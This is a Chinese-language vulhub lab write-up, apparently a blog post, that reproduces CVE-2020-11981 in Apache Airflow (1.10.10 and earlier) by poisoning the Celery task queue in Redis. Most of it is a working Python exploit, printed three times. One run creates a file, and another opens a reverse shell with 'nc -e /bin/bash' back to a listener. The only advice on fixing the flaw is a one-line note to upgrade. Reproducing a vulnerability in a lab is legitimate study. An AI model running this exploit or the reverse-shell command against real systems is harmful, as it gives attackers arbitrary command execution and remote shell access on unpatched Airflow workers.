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一、漏洞编号

CVE-2020-11981

二、影响范围

Apache Airflow <= 1.10.10

三、漏洞描述

Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG（Directed acyclic graph 有向无环图）来管理任务流程的任务调度工具， 不需要知道业务数据的具体内容，设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力，并且提供了钩子（hook）使其拥有很好地扩展性。除了一个命令行界面，该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
Apache Airflow是一款开源的，分布式任务调度框架。在其1.10.10版本及以前，如果攻击者控制了Celery的消息中间件（如Redis/RabbitMQ），将可以通过控制消息，在Worker进程中执行任意命令。

四、环境搭建

1、进入CVE-2020-11981环境

cd vulhub/airflow/CVE-2020-11981 

2、启动CVE-2020-11981环境

docker-compose up -d

3、查看CVE-2020-11981环境

这里需要注意一下，由于漏洞环境比较大，启动的时间很慢，并不是一下子就能启动好的。

docker-compose ps 

下面这个图是我启动之后立马查看的，还有还环境没有起来

这是我隔了一段时间之后再次查看的图片，这个时候又多了一个8080端口

4、访问CVE-2020-11981环境

http://192.168.233.128:8080/admin/

5、查看CVE-2020-11981提示信息

cat README.md

6、关闭CVE-2020-11981环境

复现完记得关闭环境

docker-compose down

五、漏洞复现

1、POC脚本

import pickle
import json
import base64
import redis
import sys

r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"

task_dict = json.loads(ori_str)
command = ['命令']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()

for i in command:
    print(i,end=' ')
    
r.lpush(queue_name,json.dumps(task_dict))

2、在tmp目录下创建PowerShell.txt文件

1.构造POC脚本

import pickle
import json
import base64
import redis
import sys

r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"

task_dict = json.loads(ori_str)
command = ['touch','/tmp/PowerShell.txt']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()

for i in command:
    print(i,end=' ')
    
r.lpush(queue_name,json.dumps(task_dict))

2.执行POC脚本

python CVE-2020-11981.py 192.168.233.128

3.文件创建成功

进入容器查看，发现文件创建成功

docker ps
docker exec -it 831cd658320c /bin/bash
ls /tmp

六、Getshell

1、攻击机监听

nc -lvvp 55555

Nc反弹shell在文末给出

2、靶机连接

1.反弹shell命令

nc反弹shell详解在文末给出

nc -e /bin/bash 192.168.233.1 55555

2.构造POC脚本

import pickle
import json
import base64
import redis
import sys

r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"

task_dict = json.loads(ori_str)
command = ['nc','-e', '/bin/bash','192.168.233.1', '55555']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()

for i in command:
    print(i,end=' ')
    
r.lpush(queue_name,json.dumps(task_dict))

3.执行POC脚本

python CVE-2020-11981.py 192.168.233.128

3、getshell成功

进入监听端发现shell反弹过来了

七、修复建议

及时更新到最新版本。

八、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本（含漏洞复现文章连接）
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合（含漏洞复现文章连接）
4、[ 隧道技术 ] 反弹shell的集中常见方式（二）bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式（一）nc反弹shell
6、CVE-2020-11981POC